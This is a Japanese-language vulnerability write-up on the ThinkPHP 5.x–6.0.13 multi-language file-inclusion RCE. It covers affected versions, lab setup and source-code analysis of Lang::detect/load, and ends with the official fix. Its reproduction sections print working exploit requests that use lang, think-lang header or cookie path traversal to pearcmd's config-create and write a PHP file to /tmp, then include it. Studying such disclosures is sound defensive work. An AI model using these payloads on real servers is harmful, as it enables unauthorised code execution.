Thinkphp5~6 の多言語ファイルには、rce 脆弱性の再発と詳細な分析が含まれています
目次
0x00 序文
間違いがあれば修正してください。
0x01 影響範囲
脆弱なバージョン
Thinkphp、v6.0.1~v6.0.13、v5.0.x、v5.1.x
脆弱性のないバージョン
ThinkPHP >= 6.0.14
ThinkPHP >= 5.1.42
0x02 thinkphp5環境構築と再現
ここでは、公式 Web サイトから ThinkPHP5.0.24 のフルバージョンをダウンロードします。
https://www.thinkphp.cn/down/1278.html
次に、パブリックでアクセスする Web サイトのパスを指定します。
次に、多言語機能をオンにします。設定ファイルは以下の 2 つのファイルにあります。
多言語・ThinkPHP5.0完全開発マニュアル・Kanyun
config/app.php
application/config.php
'lang_switch_on' => true,
PHP ファイルのみを含めることができるので、ここでは PHP ファイルを含めたい場所に作成し、アプリケーションと同じディレクトリに新しい test.php を作成します。
次にインクルードし、正常に実行します
http://127.0.0.1/?lang=../../test
2.1レース
rce が必要な場合は、pearcmd を使用する必要があります。pearcmd とは何ですか? 以下で私の以前の記事を読むことができます。pearcmd には、公式の php docker コンテナーが付属しています。PHP7.3 以前ではデフォルトでインストールされます。PHP7.4 以降では、後で、PHP をインストールするためにコンパイルするときに --with-pear を指定する必要があります。
そこで、ここでは docker を使用して、pearcmd が存在するかどうかのテストを行い、pearcmd が存在することを意味するエラー メッセージを返すことを示します。
http://10.68.1.3:5690/?lang=../../../../../../../../usr/local/lib/php/pearcmd
tmp ディレクトリに mo60.php ファイルを生成します。ここでは、パケットのキャプチャに burp が使用されます。URL 内の直接取得パラメータは、< 文字を自動的にエンコードします。
http://10.68.1.3:5690/?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/tmp/mo60.php
次に、含めます
http://10.68.1.3:5690/?lang=../../../../../../../../tmp/mo60
0x03 thinkphp6 の再発
dockerで直接起動
docker run -it -d -p 7070:80 vulfocus/thinkphp:6.0.12
thinkphp6 の多言語機能は app/middleware.php のマニュアルアドレスに設定されています
多言語・ThinkPHP6.0完全開発マニュアル・Kanyun
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
\think\middleware\LoadLangPack::class,
// Session初始化
// \think\middleware\SessionInit::class
];
それをチェックしてください
ここでは、上記の tp5 の方法に従うか、pearcmd を rce に呼び出しますが、値を cookie 経由で渡して、tmp ディレクトリに mo60.php ファイルを生成します。
GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/mo60.php HTTP/1.1
Host: host
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Length: 0
think-lang:../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn;
Connection: close
Cookie 内の think-lang を次のように変更できます。
think-lang:../../../../../../../../tmp/mo60
または get 経由で渡します
lang=../../../../../../../../tmp/mo60
0x04 thinkphp5 分析
thinkphp\library\think\App.php
多言語がオンになっている場合、Lang::detect
メソッドが呼び出され、Lang::load
言語パッケージをロードするために呼び出されます。これは、ファイルが含まれる場所です。制御可能なパラメータは であり$request->langset()
、制御可能な値は次の方法で$Lang::range()
取得されます。
thinkphp\library\think\Lang.php
現在のクラスの range メンバー変数の値を返す range メソッドを見てみましょう。
この値のデフォルトは zh-cn です
次に、detect メソッドを見てみましょう。このメソッドは、まず get または cookie から値を取得し、それを ::$range 変数に割り当てます。
detect メソッドが戻ってアクセスする前にブレークポイントを設定します。
http://127.0.0.1/?lang=../../test
受信した ../../test が $langSet に与えられ、次に::$range に割り当てられていることがわかります。
thinkphp\library\think\App.php
次のステップに戻り、 Lang::load をロードします。
渡したパスが含まれているだけです
この EXT 定数の値は .php です。
THINK_PATH . 'lang' . DS . $request->langset() . EXT,
APP_PATH . 'lang' . DS . $request->langset() . EXT,
Lang::load にブレークポイントを設定して、渡した値を確認します。
次に、渡したファイルパスを含めます
最後のステップは、test.php コンテンツを正常に実行することです。
0x05 thinkphp6 分析
ここでは、上記で再現した Docker でバージョン 6.0.12 を使用します。
app/middleware.php
複数の言語を有効にする
または、アプリディレクトリと同じレベルに新しい test.php を作成します。
各ミドルウェアのハンドル関数が呼び出されますが、vendor\topthink\framework\src\think\middleware\LoadLangPack.php
メソッドの1行目でdetectが呼び出されます。
検出に続いて、GET["lang"]、HEADER["think-lang"]、および COOKIE["think_lang"] に値があるかどうかを判断し、実行中の言語でこの変数が空かどうかを判断するのは tp5 と同様です。デフォルトでは$this->config['allow_lang_list']
値が返されます
detect で返された場所にブレークポイントを設定してアクセスすると、返された値が渡した値であることがわかります。
http://127.0.0.1/public/?lang=../../../../../test
ハンドル関数に戻ります。detect によって返された $langset がデフォルト言語 zh-cn と等しくない場合、この関数が呼び出されます。$this->lang->switchLangSet($langset)
vendor\topthink\framework\src\think\Lang.php
switchLangSet 関数に続いて、load メソッドが呼び出されます。
スプライス後のパスは次のとおりですF:\phpstudy_pro\WWW\vendor\topthink\framework\src\lang\../../../../../test.php
load 関数を実行すると、渡されたパラメータがファイル名として直接使用されていることがわかります。まず、ファイルが存在するかどうかを確認し、存在する場合は、それを parse に渡します。
解析後、最初にサフィックス名を取得し、ファイルが php の場合はそのファイルをインクルードしていることがわかります。
0x06 概要
p丹生さんからの引用
複数の言語をサポートするために、ThinkPHP はユーザーが指定した lang パラメーターに従って、対応する言語パッケージをロードします。たとえば、lang パラメータ値が英語の場合、システムは en-us.php ファイルをロードし、中国語の場合、システムは zh-cn.php ファイルをロードします。ThinkPHP は lang パラメータをチェックしないため、「../」を使用してディレクトリをまたがり、他のディレクトリにある PHP ファイルを含めることができます。
コードはおそらく次のとおりです。
<?php
include LANG_DIR . $_REQUEST['lang'] . ".php";
?>
getshell を実行するにはまだ多くの条件を満たす必要があり、直接アクセスできない他の脆弱なコンポーネントがある場合、それらも悪用される可能性があります。
0x07修正
数か月前に正式に修正されました:
廃止されたメソッドを削除し、多言語検出を最適化する · top-think/framework@c4acb8b · GitHub